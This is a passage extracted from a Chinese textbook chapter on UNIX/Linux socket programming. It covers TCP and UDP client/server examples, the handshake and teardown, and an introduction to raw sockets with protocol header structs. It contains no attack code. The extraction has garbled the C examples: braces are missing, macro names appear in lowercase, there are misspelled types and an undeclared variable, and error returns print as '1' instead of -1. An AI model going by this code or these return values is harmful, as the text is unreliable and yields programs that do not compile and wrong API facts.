18 172 基于 UNIX/Linux 的 C 系统编程 需要指出, 由于 PF_UNIX 域和 PF_INET 域都使用 bind 函数来设置套接字地址, 所以需要使用通用地址结构 struct sockaddr, 而在网络通信时必须要使用 sockaddr_in 来构造一个套接字地址, 所以当调用 bind 时, 则需要将 sockaddr_in 结构类型强制转换成 struct sockaddr 结构类型 3.socket 的侦听 TCP 的服务器必须调用函数 listen 才能使套接字进入侦听状态, 其函数说明如表 5.6 所示 所需头文件函数原型参数返回值 #include <sys/socket.h> #include <sys/types.h> int listen(int sockfd,int backlog); sockfd: 套接字描述符 表 5.6 listen 函数语法要点 backlog: 设置请求排队的最大长度 当有多个客户端程序和服务端相连时, 使用这个表示排队长度 若函数调用成功, 则返回 0, 否则返回 1 并将错误码写入 errno 函数 listen 仅被 TCP 服务器调用 当函数 socket 创建一个套接字时, 它被假设为一个主动套接字,listen 则将该套接字转换为被动套接字, 指示内核应接受向此套接字的连接请求, 同时维护两个队列 ( 未完成连接队列 已完成连接队列 ) 排队连接请求 对于请求排队的最大长度并不是越大越好, 应根据服务器的自身软硬件环境选择合理的队列长度 4.socket 的链接申请 TCP 客户端用函数 connect 来建立本地套接字与服务器套接字的连接 其函数说明如表 5.7 所示 所需头文件函数原型参数返回值 表 5.7 connect 函数语法要点 #include <sys/socket.h> #include <sys/types.h> int connect(int sockfd,const sockaddr *servaddr,socklen_t *addrlen); sockfd: 套接字描述符 servaddr: 是一个指向套接字地址结构的指针 addrlen: 该地址结构的长度若函数调用成功, 则返回 0, 否则返回 1 并将错误码写入 errno 客户端在调用函数 connect 前不必调用函数 bind 对于 SOCK_STREAM 类型的套接字, 函数 connect 将激发 TCP 的 3 次握手过程, 且仅在连接成功或出错时才返回 对于调用出错可能有以下几种情况 : 若客户端与服务器端的连接超时, 则返回错误码 ETIMEDOUT 若服务器主机在指定的端口上没有进程等待连接 ( 例如服务器进程没有启动等 ), 则返回错误码 ECONNREFUSED, 报告硬件出错 (hard error) 客户端在与服务器端连接时, 若出现由中间路由器所引发的目的地不可达 ICMP 错

19 第 5 章网络通信 173 误时, 则返回错误码 EHOSTUNREACH 或 ENETUNREACH, 报告软件出错 (soft error) 5.socket 的连接处理服务器端套接字在进入侦听状态后, 必须通过函数 accept 接收客户进程提交的连接请求, 才能完成一个套接字的完整连接 该函数说明如表 5.8 所示 所需头文件函数原型参数返回值 表 5.8 accept 函数语法要点 #include <sys/socket.h> #include <sys/types.h> int accept(int sockfd,struct sockaddr *cliaddr,socklen_t *addrlen); sockfd: 套接字描述符 cliaddr: 是一个指向套接字地址结构的指针 addrlen: 该地址结构的长度若函数调用成功, 则返回 0, 否则返回 1 并将错误码写入 errno 当一个连接请求抵达套接字时, 它首先会被排入队列直到服务器程序准备好处理它们为止 当服务器准备就绪时, 它就会调用 accept 从已完成连接队列中检索一个连接请求进行处理 若 accept 调用成功, 则由内核自动返回一个非负整数, 这个返回值就是连接套接字 该套接字主要用来实现客户端与服务器端的通信, 当通信完毕后, 该套接字也将关闭 6.TCP 数据的发送与接收套接字一旦连接上, 就可以发送和接收数据 在 UNIX 中, 套接字的数据发送功能即可以采用文件库函数 write 完成, 又可以通过套接字的专用发送函数 send 函数实现, 函数 send 说明如表 5.9 所示 所需头文件函数原型参数返回值 表 5.9 send 函数语法要点 #include <sys/socket.h> #include <sys/types.h> int send(int sockfd,const void *buff,int nbytes,int flags); sockfd: 套接字描述符 buff: 是一个指向待发送数据的指针 nbytes: 指定传送数据的大小 ( 字节 ) MSG_OOB: 发送带外数据 flags MSG_DONTROUTE: 通知内核远程 IP 就在本地局域网内, 消息中不加入路由信息若函数调用成功, 则返回写出的字节数, 否则返回 1 并将错误码写入 errno 若一次性发送的信息过长, 超过底层协议的最大容量, 就必须分开调用 send 发送, 否则内核将不予发送信息且置 EMSGSIZE 错误 函数 send 默认为阻塞方式发送数据, 调用成功时返回发送的数据长度, 否则返回 1 这里需要强调的是,send 发送成功是指数据被成功发送, 但不保证对方套接字成功接收 在 UNIX 中, 套接字的数据接收功能即可以采用文件库函数 read 完成, 又可以通过套接字的专用接收函数 recv 函数实现, 函数 recv 说明如表 5.10 所示

20 174 基于 UNIX/Linux 的 C 系统编程 所需头文件函数原型参数返回值 表 5.10 recv 函数语法要点 #include <sys/socket.h> #include <sys/types.h> int recv(int sockfd,const void *buff,int nbytes,int flags); sockfd: 套接字描述符 buff: 是一个指向接收数据缓冲区的指针 nbytes: 指定缓冲区最大可以容纳数据的大小 ( 字节 ) flags MSG_OOB: 接收带外数据 MSG_PEEK: 以窥视方式接收数据, 即只接收而不予从缓冲区中删除数据, 下一次调用 recv 或 read 仍然可以接收这些数据信息 MSG_WAITALL: 函数阻塞直到读取 nbytes 个字节数据为止 不过本标志并非完全阻塞, 当进程接收信号 套接字出错 连接中断或指定了 MSG_PEEK 等情况出现时函数仍然会提前返回 若函数调用成功, 则返回接收的字节数, 否则返回 1 并将错误码写入 errno 函数 recv 默认以阻塞方式读取数据, 返回成功接收的数据长度, 如果没有接收到数据或者套接字已经关闭则返回 0, 否则返回 1, 并置 errno 7. 关闭 socket 由于套接字本身也是一个文件, 所以可以调用函数 close 关闭套接字来终止通信, 也可以采用专门的套接字终止函数 shutdown 完成 函数 shutdown 说明如表 5.11 所示 所需头文件函数原型参数返回值 #include <sys/socket.h> #include <sys/types.h> int shutdown(int sockfd,int how); sockfd: 套接字描述符 how 表 5.11 shutdown 函数语法要点 0: 套接字不可读, 系统将自动丢弃接收到的数据和留在读缓冲区中的数据, 进程不能再从套接字中接收通信数据 1: 套接字不可写, 系统将写缓冲区中的数据发送完毕后关闭套接字写操作, 进程不能再从套接字中发送通信数据 2: 彻底关闭套接字的连接 若函数调用成功, 则返回 0, 否则返回 1 并将错误码写入 errno 函数 shutdown 是强制性关闭全部套接字连接, 而函数 close 只将套接字访问计算器减 1, 当且仅当计数器为 0 时, 系统才真正关闭套接字通信 需要指出的是, 由于 close 存在这个特性, 所以常被用来实现服务器端 socket 通信的并发控制 比如服务器端的进程首先创建侦听套接字, 当有连接请求到达时, 服务器端进程便会接收并创建新的套接字 ( 连接套接字 ), 与客户建立连接, 接着通过 fork 创建子进程, 由子进程实现服务器端与客户端的通信 随后服务器端原进程调用 close 关闭与客户端的连接套接字 ( 注 : 在子进程中, 从父进程继承过来的与客户端的连接套接字依然存在 ) 后继续监听, 子进程则调用 close 关闭侦听套接字, 全权负责与客户端的通信 TCP 通信应用 例 5-3 结合 TCP 编程模型, 这里编写一个程序来验证上述函数的可行性 这里程

21 第 5 章网络通信 175 序需要实现如下功能 客户根据用户提供的 IP 地址, 连接相应的服务器 服务器等待客户的连接, 一旦连接成功, 则显示客户的 IP 地址, 并发欢迎信息给客户 客户接收服务器发送的信息并显示 /* 客户端程序 tcp_client2.c */ #include <stdio.h> #include <stdlib.h> #include <netdb.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <unistd.h> #define PORT 1234 #define MASDATASIZE 100 int main(int argc, char* argv[]) int sockfd, num; char buf[masdatasize]; //struct hostent* he; struct sockaddr_in server; if(argc!= 2) printf("usage: %s <IP Address>\n", argv[0]); exit(1); if((sockfd = socket(pf_inet, SOCK_STREAM, 0)) == -1) perror("socket() error"); exit(1); bzero(&server, sizeof(server)); server.sin_family = PF_INET; server.sin_port = htons(port); inet_aton(argv[1], &(server.sin_addr)); if((he = gethostbyname(argv[1])) == NULL) perror("gethostbyname() error"); exit(1); server.sin_addr = *((struct in_addr*)he->h_addr); if(connect(sockfd, (struct sockaddr*)&server, sizeof(server)) == -1) perror("connect() error"); exit(1); if((num = recv(sockfd, buf, MASDATASIZE,0 )) == -1) perror("recv() error");

22 176 基于 UNIX/Linux 的 C 系统编程 exit(1); //buf[num -1] = '\0'; printf("server message len: %d :%s\n", num, buf); close(sockfd); return 0; /* 服务器端程序 server.c */ #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <netdb.h> #include <string.h> #define PORT 1234 #define BACKLOG 1 int main(int argc, char* argv[]) int listenfd, connectfd; //socket descriptors struct sockaddr_in server; //sockaddr_in in the netinet/in.h server's //address information struct sockaddr_in client; //client's address information socklen_t addrlen; //socket.h /*creat TCP socket*/ if((listenfd = socket(pf_inet, SOCK_STREAM, 0)) == -1) perror("socket() error.\n"); exit(1); /*set socket option*/ int opt = SO_REUSEADDR; //socket.h setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); // 套接字选项, 允许重用本地地址 bzero(&server, sizeof(server)); //string.h server.sin_family = PF_INET; server.sin_port = htons(port); server.sin_addr.s_addr = htonl(inaddr_any); if(bind(listenfd, (struct sockaddr*)&server, sizeof(server)) == -1) /*handle exception*/ perror("bind() error\n"); exit(1);

23 第 5 章网络通信 177 if(listen(listenfd, BACKLOG) == -1) perror("listen() error\n"); exit(1); addrlen = sizeof(client); if((connectfd = accept(listenfd, (struct scokaddr*)&client, &addrlen)) == -1) perror("accept() error \n"); exit(1); printf("client's IP is %s, port is %d \n", inet_ntoa(client.sin_addr), htons(client.sin_port)); char buf[10]; memset(buf, 8, sizeof(buf)); strcpy(buf, "Welcome"); send(connectfd, buf, 10, 0); close(connectfd); close(listenfd); return 0; 客户端程序运行结果如图 5.9 所示 服务器端程序运行结果如图 5.10 所示 图 5.9 例 5-3 客户端程序运行结果 图 5.10 例 5-3 服务器端程序运行结果 TCP 数据包的收发分析 为便于理解上述函数, 必须要了解 TCP 的建立连接 数据传输和终止连接这 3 个过程 1.TCP 连接的建立主要分 3 个步骤, 常称为 3 次握手, 如图 5.11 所示 具体步骤如下 : (1) 客户端 (A) 向服务器 (B) 发送包含初始序列值 (SEQ A =100) 的数据段 (SYN), 开启通信会话 执行该步骤的目的是客户端需要确认服务器是否存在于网络上 (2) 服务器 (B) 发送包含确认值 (ACK B ) 的数据段, 其值等于收到的序列值加 1 (ACK B =SEQ A +1), 并加上其自身的同步序列值 (SEQ B =300) 通过此确认值, 客户端可以将响应和上一次发送到服务器的数据段联接起来 执行该步骤的目的是服务器通知客户端 : 其具有活动的服务, 并且客户端所要使用的目的端口可以接受请求

24 178 基于 UNIX/Linux 的 C 系统编程 图 5.11 TCP 的三次 握手 (3) 客户端 (A) 向服务器 (B) 发送带有确认值 (ACK A ) 的客户端响应, 其值等于接受的序列值加 1(ACK A =SEQ B +1) 执行该步骤的目的是客户端通知服务器: 客户端需要在该目的端口上建立通信会话 至此,TCP 的连接建立成功 2. 数据的传输 TCP 也提供了相应的传输确认和超时重传机制 该传输机制是指 TCP 要为所发送的每个报文加上序列号, 以保证每个报文能被接收方正确接收且仅接收一次, 同时接收方在正确接收一个或一组报文之后要向发送方回送一个确认 (ACK) 信息, 发送方只有收到确认信息后, 再进行下一个或下一组报文的发送 若传输过程中存在错误 丢包或发送方没有在规定时间内收到确认信息时, 发送方将启动重传机制, 再次发送之前发送给的报文, 直到在规定次数内收到确认信息为止, 若发送方在重传次数超过规定次数的情况下仍没收到确认信息, 则发送方视其为不可达, 不再发送报文 另外该机制还采用可变长的滑动窗口协议进行流量控制 该机制原理如图 5.12 和图 5.13 所示 图 5.12 TCP 的传输确认机制

25 第 5 章网络通信 179 图 5.13 TCP 的超时重传机制 3.TCP 连接的终止主要分 4 个步骤才能完成, 常称为 4 次挥手, 如图 5.14 所示 图 5.14 TCP 的 4 次 挥手 具体步骤如下 : (1) 当客户端 (A) 的数据流中没有其他要发送的数据时, 它将发送带 FIN A 标志设置的数据段 执行该步的目的是客户端通知服务器端 : 需要终止连接 (2) 服务器 (B) 发送 ACK B 信息, 确认收到从客户端发出的请求终止会话的 FIN A 信息 该步的目的是服务器端回复客户端 : 已收到终止请求, 正在研究 此时客户端到服务器端的连接已经断开, 服务器端不再接收来自客户端的请求或数据 但服务器端到客户端的连接依旧照常工作

26 180 基于 UNIX/Linux 的 C 系统编程 (3) 服务器 (B) 向客户端 (A) 发送 FIN B 信息, 终止从服务器 (B) 到客户端 (A) 的会话 执行该步的目的是服务器端正式通知客户端 : 可以终止连接, 请做好善后工作 (4) 客户端 (A) 发送 ACK A 响应信息, 确认收到从服务器 (B) 发出的 FIN B 信息 该步的目的是客户端接到通知后, 向服务器端回复 : 确认收到通知, 并遵照执行 此时服务器端到客户端的连接就此终止, 两机的会话就此完结 下面结合之前的 TCP 编程模型, 完整分析一个 TCP 会话的全过程, 以便于更好地理解网络编程的真谛, 如图 5.15 所示 图 5.15 TCP 会话过程中实际分组交换情况由图 5.15 可知, 双方在建立连接之前, 服务器端必须完成创建 (socket) 和命名 (bind) 套接字的工作, 并将其置为监听 (listen) 状态 (LISTEN), 而客户端也将建 (socket) 好自己的套接字, 并主动向服务器发起连接 (connect) 请求, 双方彼此进行 3 次握手 ( 服务器端由 accept 函数负责 ) 之后都将处于数据传输状态 (ESTABLISHED), 连接建立完毕 接下来客户端向服务器端发出数据请求, 服务器做数据应答并确认请求, 客户端还需回传应答确认 在终止连接阶段, 客户端主动发起关闭连接 (close) 请求, 双方彼此进行四次挥手之后, 使得双方都被置为终止状态 (CLOSED), 至此一个 TCP 会话结束

27 第 5 章网络通信 181 值得注意的是, 在整个 TCP 会话过程中, 除真正做数据传输的分组外,TCP 还需要 8 个分组的开销, 这种过高的开销比例固然可以保证传输的可靠性, 但也将降低传输的效率 通过对 TCP 协议及编程的讨论, 可以得出以下结论 : TCP 编程适合于对数据可靠性要求较高的应用 由于 TCP 的传输机制过于烦琐, 使得其实时反应能力不足 对于网络状况不好的环境, 选用 TCP 协议及其编程是明智的, 但是对于网络状况较好的环境 ( 如局域网 ), 其可靠性机制将会增加网络负荷 5.5 面向无连接的通信 尽管 TCP 通信能够实现双向 可靠 顺序和不重复的数据传输, 但是其通信开销较大且速度不高, 不适合实时传送和消息控制等方面的应用 而 UDP 通信能够与实现独立 无序和高速的数据传输, 虽然其不保证传输的可靠性, 但在网络状况较好的环境下采用该方式的丢包率是完全可以接受的, 所以 UDP 通信并非毫无用处, 而是网络通信中不可或缺的一部分 UDP 协议的编程模型 UDP, 全称 User Datagram Protocol, 中文名为用户数据报协议, 它工作在 OSI 的传输层, 提供面向无连接的不可靠传输服务 该协议采用客户机 - 服务器模式, 套接字的全部工作流程如图 5.16 所示 图 5.16 UDP 通信流程图

28 182 基于 UNIX/Linux 的 C 系统编程 步骤 1: 服务器端和客户端进程均调用 socket 函数创建一个基于 UDP 协议的套接字描述符 步骤 2: 服务器端进程调用 bind 函数命名套接字, 将套接字与协议 本地地址和本地端口绑定 步骤 3: 客户端与服务器端进行数据通信, 调用 sendto 函数可向对方发送数据, 调用 recvfrom 函数可接收数据 步骤 4: 当不需要数据传输时, 可以调用 close 或 shutdown 关闭套接字 1. 创建 UDP 套接字 socket 函数可用于创建 UDP 套接字, 其调用形式与 TCP 类似, 但须在函数第二个参数 type 取值为 SOCK_DGRAM 与 TCP 协议服务器端套接字的创建过程相比, 这里减少了 listen 和 accept 过程 2.UDP 数据的发送和接收在 UDP 套接字中, 使用 recvfrom 和 sendto 函数来收发数据 其函数说明如表 5.12 所示 所需头文件函数原型参数返回值 表 5.12 sendto 函数和 recvfrom 函数语法要点 #include <sys/socket.h> #include <sys/types.h> int sendto(int sockfd,const void *buff,int nbytes,int flags, struct sockaddr *to, socklen_t *addrlen); int recvfrom(int sockfd,void *buff,int nbytes,int flags,struct sockaddr *from,socklen_t *addrlen); sockfd: 套接字描述符 buff: 是一个指向接收数据缓冲区的指针 nbytes: 指定缓冲区最大可以容纳数据的大小 ( 字节 ) flags 在 UDP 连接中一般设为 0 to: 是一个含有数据将发往的协议地址 ( 包含 IP 地址和端口号 ) 的套接字地址结构, 它的大小由 addrlen 来指定 from: 所指向的套接字地址结构装填数据包发送者的协议地址, 它的大小也以 addrlen 所指的整数返回给调用者 addrlen: 地址长度 sendto: 若函数调用成功, 则返回读入的字节数, 否则返回 1 并将错误码写入 errno recvfrom: 若函数调用成功, 则返回写出的字节数, 否则返回 1 并将错误码写入 errno 与 TCP 数据的发送和接收相比,UDP 的发送和接收函数中都增加了用于存储对方地址的结构 这主要与 UDP 无连接的特性有关 UDP 通信应用 例 5-4 结合 UDP 编程模型, 这里编写一程序来验证上述函数的可行性 程序需要实现如下功能 : UDP 服务器程序 守候在特定的套接字地址上, 循环接收客户发来的信息, 并显示

29 第 5 章网络通信 183 客户 IP 地址及相应信息 如果服务收到客户的信息为 quit, 则退出循环, 并关闭套接字 UDP 客户机程序 客户向服务器发信息, 然后等待服务器回应 一旦接收到服务发来的信息, 则显示该信息, 并关闭套接字 /* 客户端程序 client.c */ #include <stdio.h> #include <unistd.h> #include <strings.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> /* netbd.h is needed for struct hostent =) */ #define PORT 1234 /* Open Port on Remote Host */ #define MAXDATASIZE 100 /* Max number of bytes of data */ int main(int argc, char *argv[]) int fd, numbytes; /* files descriptors */ char buf[maxdatasize]; /* buf will store received text */ struct hostent *he; /* structure that will get information about remote host */ struct sockaddr_in server,reply; /* server's address information */ if (argc!=3) /* this is used because our program will need two argument (IP address and a message */ printf("usage: %s <IP Address> <message>\n",argv[0]); exit(1); if ((he=gethostbyname(argv[1]))==null) /* calls gethostbyname() */ printf("gethostbyname() error\n"); exit(1); if ((fd=socket(pf_inet, SOCK_DGRAM, 0))==-1) /* calls socket() */ printf("socket() error\n"); exit(1); bzero(&server,sizeof(server)); server.sin_family = PF_INET; server.sin_port = htons(port); /* htons() is needed again */ server.sin_addr = *((struct in_addr *)he->h_addr); /*he->h_addr passes "*he"'s info to "h_addr" */ sendto(fd, argv[2], strlen(argv[2]),0,(struct sockaddr *)&server, sizeof(struct sockaddr)); while (1)

30 184 基于 UNIX/Linux 的 C 系统编程 int len; if ((numbytes=recvfrom(fd,buf,maxdatasize,0,(struct sockaddr *)&reply, &len)) == -1) /* calls recvfrom() */ printf("recvfrom() error\n"); exit(1); buf[numbytes]='\0'; printf("server Message: %s\n",buf); /* it prints server's welcome message */ break; close(fd); /* close fd */ /* 服务器端程序 server.c */ #include <stdio.h> /* These are the usual header files */ #include <strings.h> /* for bzero() */ #include <unistd.h> /* for close() */ #include <sys/types.h> #include <sys/socket.h> #include <stdlib.h> #include <netinet/in.h> #include <arpa/inet.h> #define PORT 1234 /* Port that will be opened */ #define MAXDATASIZE 100 /* Max number of bytes of data */ main() int sockfd; /* socket descriptors */ struct sockaddr_in server; /* server's address information */ struct sockaddr_in client; /* client's address information */ int sin_size; int num; char msg[maxdatasize]; /* buffer for message */ /* Creating UDP socket */ if ((sockfd = socket(pf_inet, SOCK_DGRAM, 0)) == -1) /* handle exception */ perror("creating socket failed."); exit(1); bzero(&server,sizeof(server)); server.sin_family=pf_inet; server.sin_port=htons(port); server.sin_addr.s_addr = htonl (INADDR_ANY);

31 第 5 章网络通信 185 if (bind(sockfd, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) /* handle exception */ perror("bind error."); exit(1); sin_size=sizeof(struct sockaddr_in); while (1) num = recvfrom(sockfd,msg,maxdatasize,0,(struct sockaddr *)&client, &sin_size); if (num < 0) perror("recvfrom error\n"); exit(1); msg[num] = '\0'; printf("you got a message (%s%) from %s\n",msg,inet_ntoa(client.sin_ addr) ); /* prints client's IP */ sendto(sockfd,"welcome to my server.\n",22,0,(struct sockaddr *)&client, sin_size); /* send to the client welcome message */ if (!strcmp(msg,"quit")) break; close(sockfd); /* close listenfd */ 客户端程序运行结果如图 5.17 所示 服务器端程序运行结果如图 5.18 所示 图 5.17 例 5-4 客户端程序运行结果 图 5.18 例 5-4 服务器端程序运行结果 UDP 数据包的收发分析 对于 UDP 的传输过程远没有 TCP 那样复杂 该协议不需要连接, 没有传输确认和重传机制, 同时也没有流量控制, 它实现独立的 无序的 不保证可靠性的数据传送, 如图 5.19 所示 由于 UDP 实现简单, 资源占用少且实时性较强, 所以适用于可靠性较高的网络和延迟敏感的应用

32 186 基于 UNIX/Linux 的 C 系统编程 图 5.19 UDP 的传输过程 5.6 基于 IP 层和数据链路层的通信 在实际应用中, 网络编程常用在应用层报文的收发操作上, 程序员所接触到的应用项目也大都是基于流式套接字 (SOCK_STREAM) 和数据报式套接字 (SOCK_DGRAM) 上的开发 而这些数据包格式都是由内核中的协议栈所提供的, 用户只需要填充应用层报文即可, 对于底层报文头的填充和数据包的发送工作则由系统内核去完成 但在某些应用中需要触及更底层的操作时, 流式套接字和数据报式套接字技术则无法实现 比如 : 怎样发送一个自定义的 IP 包? 怎样发送一个 ICMP 协议包, 实现 ping 的功能? 如何实现网络抓包? 怎样分析所有经过网络的包, 而不管这些包是否是发给自己的? 怎样伪装本地的 IP 地址? 针对这些问题, 必须去面对另外一个编程领域 原始套接字 (SOCK_RAW) 原始套接字所提供的编程接口可以对较低的协议层 ( 如 IP 层或数据链路层 ) 直接访问或进行编程, 广泛应用于高级网络编程, 同时它也是重要的黑客工具 对于网络编程要求不高的学生, 本节内容可作为选读材料 基于 IP 层的通信 原始套接字可用于实现基于 IP 层的通信 1. 如何创建原始套接字创建原始套接字与普通套接字相似, 都使用 socket 函数 需要指出的是, 只有超级用户才能创建原始套接字 其函数原型如下 : #include <sys/socket.h> #include <netinet/in.h> int socket(int family,int type,int protocol);

33 第 5 章网络通信 187 这里, 函数 socket 中的 type 参数必须注明 SOCK_RAW 套接字类型,protocol 参数可由自行定义, 它规定了函数将以何种格式传输数据 套接字的类型和协议存在一定的对应关系, 比如流套接字类型仅支持 IPPROTO_TCP 协议, 数据报套接字类型仅支持 IPPROTO_UDP 协议, 所以在编程中若是上述两类套接字类型, 其协议部分无须再另外说明, 一般都默认为 0 但是对于有多项协议可选时, 用户就需要明确定义数据的收发方式了 需要指出的是, 原始套接字所支持的 IPPROTO_RAW 协议允许用户旁路操作系统的 TCP/IP 协议栈, 能够直接在底层协议上收发数据, 虽然可以为网络编程提供了极大的灵活性和高效性, 但也带来了一定程度的安全隐患, 所以在使用时应格外小心 此外, 这里还需提及一个开关选项 IP_HDRINCL 若没有开启 IP_HDRINCL 选项, 则协议栈将在创建套接字时根据所指定参数自动填充 IP 数据包头 ( 网络层的头部 ); 若已开启 IP_HDRINCL 选项, 则发送数据时需要开发人员手工填充整个 IP 数据包头, 当然也包括指定协议类型 若需要启动该选项, 须在程序中加入如下语句 : const int on = 1; setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)); 至此, 必须对 IP 包头的结构进行必要的交代 2.IP 包头中的相关数据结构原始套接字在对 IP 数据包处理时经常会使用到这样一些数据结构, 其中包括有 IP 头部 ICMP 头部 UDP 头部和 TCP 头部 通过使用这些数据结构对原始套接字进行处理, 可以使程序从底层获取高层的网络数据 1)IP 头部结构当前 IPv4 的头部结构如图 5.20 所示 图 5.20 IP 报文头格式 在 UNIX 系统中, 用 ip 结构来进行描述, 定义在 netinet/ip.h 中, 结构如下 : struct ip #if BYTE_ORDER == LITTLE_ENDIAN /* 主机字节序 */ unsigned int ip_hl:4; /* IP 包首部长度 */ unsigned int ip_v:4; /* IP 协议的版本号 */ #endif #if BYTE_ORDER == BIG_ENDIAN /* 网络字节序 */ unsigned int ip_v:4; /* IP 协议的版本号 */ unsigned int ip_hl:4; /* IP 包首部长度 */

34 188 基于 UNIX/Linux 的 C 系统编程 ; #endif u_int8_t ip_tos; /* 服务类型, 说明提供的优先权 */ u_short ip_len; /* 说明 IP 数据的长度 以字节为单位 */ u_short ip_id; /* 标识这个 IP 数据包 */ u_short ip_off; /* 碎片偏移, 这和上面 ID 一起用来重组碎片的 */ #define IP_RF 0x8000 /* reserved fragment flag */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ u_int8_t ip_ttl; /* 生存时间 每经过一个路由的时候减一, 直到为 0 时被抛弃 */ u_int8_t ip_p; /* 协议, 表示创建这个 IP 数据包的高层协议 如 TCP UDP 协议 */ u_short ip_sum; /* 首部校验和, 提供对首部数据的校验 */ struct in_addr ip_src, ip_dst; /* 发送者和接收者的 IP 地址 */ 2)TCP 头部结构当前 TCP 的头部结构如图 5.21 所示 图 5.21 TCP 报文头格式 在 UNIX 中, 用 tcphdr 结构来进行描述, 其定义在 netinet/tcp.h 中 其结构定义如下 : struct tcphdr u_int16_t source; /* TCP 数据的源端口 */ u_int16_t dest; /* TCP 数据的目的端口 */ u_int32_t seq; /* 标识该 TCP 所包含的数据字节的开始序列号 */ u_int32_t ack_seq; /* 确认序列号, 表示接受方下一次接受的数据序列号 */ #if BYTE_ORDER == LITTLE_ENDIAN /* 主机字节序 */ u_int16_t res1:4; u_int16_t doff:4; u_int16_t fin:1; u_int16_t syn:1; u_int16_t rst:1; u_int16_t psh:1; u_int16_t ack:1; u_int16_t urg:1; u_int16_t res2:2; #elif BYTE_ORDER == BIG_ENDIAN /* 网络字节序 */ u_int16_t doff:4;/* 数据首部长度 和 IP 协议一样, 以 4 字节为单位 一般的时候为 5 */

35 第 5 章网络通信 189 ; u_int16_t res1:4; /* 保留位 */ u_int16_t res2:2; /* 保留位 */ u_int16_t urg:1; /* 如果设置紧急数据指针, 则该位为 1 */ u_int16_t ack:1; /* 如果确认号正确, 那么为 1 */ u_int16_t psh:1; /* 如果设置为 1, 那么接收方收到数据后, 立即交给上一层程序 */ u_int16_t rst:1; /* 为 1 的时候, 表示请求重新连接 */ u_int16_t syn:1; /* 为 1 的时候, 表示请求建立连接 */ u_int16_t fin:1; /* 为 1 的时候, 表示亲自关闭连接 */ #endif u_int16_t window; /* 窗口, 告诉接收者可以接收的大小 */ u_int16_t check; /* 对 TCP 数据进行校验和 */ u_int16_t urg_prt;/* 如果 urg=1, 那么指出紧急数据对于历史数据开始的序列号的偏移值 */ 3) UDP 头部结构当前 UDP 的头部结构如图 5.22 所示 图 5.22 UDP 报文头格式 在 UNIX 中, 用 udphdr 结构来进行描述, 其定义在 netinet/udp.h 中 其结构定义 如下 : struct udphdr u_int16_t source; /* UDP 数据的源端口 */ u_int16_t dest; /* UDP 数据的目的端口 */ u_int16_t len; /* 用户数据包长度 */ u_int16_t check; /* 校验和 */ ; 4) ICMP 头部结构 当前 ICMP 的头部结构如图 5.23 所示 图 5.23 ICMP 报文头格式 在 UNIX 中, 用 icmphdr 结构来进行描述, 其定义在 netinet/ip_icmp.h 中 其结构

36 190 基于 UNIX/Linux 的 C 系统编程 定义如下 : struct icmphdr u_int8_t type; /* 消息类型 */ u_int8_t code; /* 类型代码 */ u_int16_t checksum; /* 校验和 */ union struct u_int16_t id; /* 标识 */ u_int16_t sequence; /* 序列号 */ echo; /* 响应数据报 */ u_int32_t gateway; /* 网关地址 */ struct u_int16_t unused; /* 保留 */ u_int16_t mtu; /* 最大传输单元 */ frag; /* 发现路径 MTU */ un; ; 3. 如何通过原始套接字发送数据原始套接字的输出 ( 发送 ) 应遵循如下规则 : (1) 如果套接字已经连接, 可以调用 write writev send 来发送数据, 否则需要调用 sendto 或 sendmsg (2) 如果 IP_HDRINCL 选项未设置, 则内核会将 IP 头部之后的第一个字节作为要发送数据的开始 内核会构造 IP 头部 (3) 如果设置了 IP_HDRINCL 选项, 则内核会将 IP 头部的第一个字节作为要发送数据的开始 此时程序员需要构造除了以下两项之外的整个 IP 头部 : 1 IP 标识字段 要求内核设置该值 2 IP 数据包头校验和 由内核来计算和存储 (4)IP 数据报首部各个字段的内容均是网络字节序 (5) 若 IP 数据包大小超过了其下层数据链路层的 MTU( 最大传输单元 ), 则内核须将其分片处理 4. 如何通过原始套接字接收数据原始套接字的输入 ( 接收 ) 遵循以下规则 : (1) 常用 recvfrom 函数负责接收 (2) 接收到的 TCP 和 UDP 分组决不会传递给原始套接字, 如果一个进程希望读取包含 TCP 或 UDP 分组的 IP 数据包, 那么它们必须在数据链路层读入 (3) 如果数据包以分片形式到达, 则该分组将在所有片段到达并重组后才能传给原始套接字 (4) 当内核处理完 ICMP 消息后, 绝大部分 ICMP 分组将传递给原始套接字 对源自 Berkeley 的实现, 除了回传请求 时间戳请求和地址掩码请求将完全由内核处理以外, 所

37 第 5 章网络通信 191 有收到的 ICMP 分组将会传递给某个指定的原始套接口 (5) 当内核处理完 IGMP 消息后, 所有 IGMP 分组都将传递给某个指定的原始套接字 (6) 所有带有内核不能识别的协议字段的 IP 数据包都将传递给某个指定的原始套接字 (7) 若一个 IP 数据包将要传递给某个套接字时, 内核则需要选择匹配原始套接字 : 1 若在创建原始套接字时, 所指定的 protocol 参数不为 0, 则接收到的数据包中的协议字段应与该值匹配 2 若此原始套接字之上绑定了一个本地 IP 地址, 那么接收到的数据包的目的 IP 地址应与该绑定地址相匹配 3 若此原始套接字通过调用 connect 指定了一个对方的 IP 地址, 那么接收到的数据包的源 IP 地址应与该地址相匹配 (8) 如果一个原始套接字以 protocol 参数为 0 的方式创建, 而且未调用 bind 或 connect, 那么对于内核传递给原始套接字的每一个原始数据包, 该套接字都会收到一份副本 (9) 当接收到的数据包传递给 IPv4 原始套接字时, 整个数据包 ( 包括 IP 头部 ) 都将传递给进程 而对于 IPv6, 则将去除扩展头部 5. 原始套接字可传送哪些协议的数据包对于 TCP 或 UDP 产生的 IP 数据包, 内核是不能将它传递给原始套接字的, 而只能将这些数据交给对应的 TCP 或 UDP 数据处理句柄 而原始套接字可以旁路传输层的 TCP/UDP 协议, 直接访问 IP 数据包, 这也就意味着端口地址对于原始套接字而言没有任何意义 对于网络层上的 ICMP 所产生的数据包, 除了 ICMP 回传请求包 时间戳请求包和地址掩码请求包外, 其他的 ICMP 协议包都可由原始套接字传送 对于网络层上的 IGMP 所产生的所有协议包都可由原始套接字传送 